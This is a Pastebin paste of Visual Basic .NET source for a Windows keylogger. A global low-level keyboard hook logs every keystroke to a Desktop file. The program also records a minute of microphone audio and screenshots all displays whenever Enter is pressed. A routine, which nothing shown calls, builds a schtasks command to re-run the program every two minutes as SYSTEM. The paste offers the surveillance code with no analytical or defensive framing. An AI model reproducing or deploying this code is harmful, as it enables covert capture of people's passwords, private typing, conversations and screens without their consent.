Advertisement
Rythorian

Untitled

Feb 17th, 2025
26
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.05 KB | None | 0 0
  1. Imports System.Drawing.Imaging
  2. Imports System.IO
  3. Imports System.Reflection
  4. Imports System.Runtime.InteropServices
  5. Imports System.Security.Principal
  6. Imports NAudio.Wave
  7.  
  8. Public Class Form1
  9.  
  10. Private Const Format As String = "yyyyMMddHHmmss"
  11. Private Const WH_KEYBOARD_LL As Integer = 13
  12. Private Const WM_KEYDOWN As Integer = &H100
  13. Private Const WM_KEYUP As Integer = &H101
  14.  
  15. Private Delegate Function LowLevelKeyboardProc(nCode As Integer, wParam As IntPtr, lParam As IntPtr) As IntPtr
  16. Private Shared _hookID As IntPtr = IntPtr.Zero
  17. Private _proc As LowLevelKeyboardProc = AddressOf HookCallback
  18. Private _logFilePath As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "KeyLog_" & Date.Now.ToString("yyyyMMdd_HHmmss") & ".txt")
  19.  
  20. <DllImport("shell32.dll", CharSet:=CharSet.Unicode)>
  21. Private Shared Function SHGetKnownFolderPath(ByRef rfid As Guid, ByVal dwFlags As UInteger, ByVal hToken As IntPtr, ByRef ppszPath As IntPtr) As Integer
  22. End Function
  23.  
  24. Private waveIn As WaveInEvent
  25. Private waveFile As WaveFileWriter
  26. Private outputFilePath As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "RecordedAudio.wav")
  27. Private recordingDuration As TimeSpan = TimeSpan.FromMinutes(1)
  28.  
  29. Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  30. Dim frm As New Form2
  31. frm.Show()
  32. _hookID = SetHook(_proc)
  33.  
  34. Try
  35. InitializeWaveIn()
  36. StartRecordingLoop()
  37. Catch ex As Exception
  38. LogError("Error during Form Load: " & ex.Message)
  39. End Try
  40.  
  41. CreateKeySentinalDirectory()
  42. End Sub
  43.  
  44. Private Sub CreateKeySentinalDirectory()
  45. Dim directoryPath As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "Key_Sentinal")
  46. If Not Directory.Exists(directoryPath) Then
  47. Directory.CreateDirectory(directoryPath)
  48. End If
  49. End Sub
  50.  
  51. Public Sub CreateScheduledTask() 'Uses Task Scheduler to create task (this application) to run every 2 minutes
  52. Try
  53. Dim taskName As String = "RecordingSession"
  54. Dim taskPath As String = Assembly.GetExecutingAssembly().Location
  55. Dim action As String = $"schtasks /create /tn {taskName} /tr ""{taskPath}"" /sc minute /mo 2 /ru SYSTEM /f"
  56.  
  57. If IsUserAdministrator() Then
  58. ExecuteCommand(action)
  59. Else
  60. LogError("You need to run this application as an administrator.")
  61. End If
  62. Catch ex As Exception
  63. LogError("An error occurred while creating scheduled task: " & ex.Message)
  64. End Try
  65. End Sub
  66.  
  67. Private Sub ExecuteCommand(action As String)
  68. Using process As New Process()
  69. process.StartInfo.FileName = "cmd.exe"
  70. process.StartInfo.Arguments = "/C " & action
  71. process.StartInfo.UseShellExecute = False
  72. process.StartInfo.RedirectStandardOutput = True
  73. process.StartInfo.RedirectStandardError = True
  74. process.StartInfo.CreateNoWindow = True
  75. process.Start()
  76.  
  77. Dim output As String = process.StandardOutput.ReadToEnd()
  78. Dim errorOutput As String = process.StandardError.ReadToEnd()
  79. process.WaitForExit()
  80.  
  81. If process.ExitCode = 0 Then
  82. Console.WriteLine("Task created successfully.")
  83. Else
  84. LogError("Error creating task: " & errorOutput)
  85. End If
  86. End Using
  87. End Sub
  88.  
  89. Private Function IsUserAdministrator() As Boolean
  90. Dim identity As WindowsIdentity = WindowsIdentity.GetCurrent()
  91. Dim principal As New WindowsPrincipal(identity)
  92. Return principal.IsInRole(WindowsBuiltInRole.Administrator)
  93. End Function
  94.  
  95. Private Sub InitializeWaveIn()
  96. waveIn = New WaveInEvent With {
  97. .WaveFormat = New WaveFormat(44100, 1)
  98. }
  99. AddHandler waveIn.DataAvailable, AddressOf OnDataAvailable
  100. AddHandler waveIn.RecordingStopped, AddressOf OnRecordingStopped
  101. End Sub
  102.  
  103. Private Sub StartRecordingLoop()
  104. Try
  105. waveFile = New WaveFileWriter(outputFilePath, waveIn.WaveFormat)
  106. Debug.WriteLine("Recording for 1 minute...")
  107. waveIn.StartRecording()
  108. Threading.Thread.Sleep(recordingDuration)
  109. waveIn.StopRecording()
  110. Debug.WriteLine("Recording saved to: " & outputFilePath)
  111. Catch ex As Exception
  112. LogError("Error during recording loop: " & ex.Message)
  113. Finally
  114. waveFile?.Dispose()
  115. Application.Exit()
  116. End Try
  117. End Sub
  118.  
  119. Private Sub OnDataAvailable(sender As Object, e As WaveInEventArgs)
  120. Try
  121. If waveFile IsNot Nothing Then
  122. waveFile.Write(e.Buffer, 0, e.BytesRecorded)
  123. waveFile.Flush()
  124. End If
  125. Catch ex As Exception
  126. LogError("Error during data available: " & ex.Message)
  127. End Try
  128. End Sub
  129.  
  130. Private Sub OnRecordingStopped(sender As Object, e As StoppedEventArgs)
  131. If e.Exception IsNot Nothing Then
  132. LogError("Recording error: " & e.Exception.Message)
  133. Application.Exit()
  134. End If
  135. End Sub
  136.  
  137. Private Function SetHook(proc As LowLevelKeyboardProc) As IntPtr
  138. Using curProcess As Process = Process.GetCurrentProcess()
  139. Using curModule As ProcessModule = curProcess.MainModule
  140. Return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0)
  141. End Using
  142. End Using
  143. End Function
  144.  
  145. Private Function HookCallback(nCode As Integer, wParam As IntPtr, lParam As IntPtr) As IntPtr
  146. If nCode >= 0 AndAlso (wParam = CType(WM_KEYDOWN, IntPtr) Or wParam = CType(WM_KEYUP, IntPtr)) Then
  147. Dim vkCode As Integer = Marshal.ReadInt32(lParam)
  148. LogKey(vkCode)
  149. End If
  150. Return CallNextHookEx(_hookID, nCode, wParam, lParam)
  151. End Function
  152.  
  153. Private Sub LogKey(vkCode As Integer)
  154. Dim key As String = GetKeyName(vkCode)
  155. Try
  156. File.AppendAllText(_logFilePath, Date.Now.ToString("yyyy-MM-dd HH:mm:ss") & " - " & key & Environment.NewLine)
  157. Catch ex As Exception
  158. LogError("Error logging key: " & ex.Message)
  159. End Try
  160. End Sub
  161.  
  162. Private Function GetKeyName(vkCode As Integer) As String
  163. Select Case vkCode
  164. Case Keys.A To Keys.Z
  165. Return Chr(vkCode).ToString()
  166. Case Keys.Enter
  167. CaptureScreen()
  168. Return "Enter"
  169. Case Else
  170. Return vkCode.ToString()
  171. End Select
  172. End Function
  173.  
  174. Private Sub CaptureScreen()
  175. Try
  176. Dim totalWidth As Integer = Screen.AllScreens.Sum(Function(s As Screen) s.Bounds.Width)
  177. Dim maxHeight As Integer = Screen.AllScreens.Max(Function(s As Screen) s.Bounds.Height)
  178.  
  179. Using bmp As New Bitmap(totalWidth, maxHeight)
  180. Using gfx As Graphics = Graphics.FromImage(bmp)
  181. gfx.CopyFromScreen(SystemInformation.VirtualScreen.X, SystemInformation.VirtualScreen.Y, 0, 0, SystemInformation.VirtualScreen.Size)
  182. End Using
  183.  
  184. Dim captureSavePath As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "Key_Sentinal", $"capture_{Date.Now.ToString(Format)}.png")
  185. Directory.CreateDirectory(Path.GetDirectoryName(captureSavePath))
  186. bmp.Save(captureSavePath)
  187. End Using
  188.  
  189. MessageBox.Show("Screen captured successfully!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information)
  190. Catch ex As Exception
  191. LogError("Error capturing screen: " & ex.Message)
  192. End Try
  193. End Sub
  194.  
  195. Private Sub LogError(message As String)
  196. Debug.WriteLine(message)
  197. MessageBox.Show(message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
  198. End Sub
  199.  
  200. Private Sub Form1_FormClosing(sender As Object, e As FormClosingEventArgs) Handles MyBase.FormClosing
  201. UnhookWindowsHookEx(_hookID)
  202. End Sub
  203.  
  204. <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
  205. Private Shared Function SetWindowsHookEx(idHook As Integer, lpfn As LowLevelKeyboardProc, hMod As IntPtr, dwThreadId As UInteger) As IntPtr
  206. End Function
  207.  
  208. <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
  209. Private Shared Function UnhookWindowsHookEx(hhk As IntPtr) As Boolean
  210. End Function
  211.  
  212. <DllImport("kernel32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
  213. Private Shared Function GetModuleHandle(lpModuleName As String) As IntPtr
  214. End Function
  215.  
  216. <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
  217. Private Shared Function CallNextHookEx(hhk As IntPtr, nCode As Integer, wParam As IntPtr, lParam As IntPtr) As IntPtr
  218. End Function
  219.  
  220. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement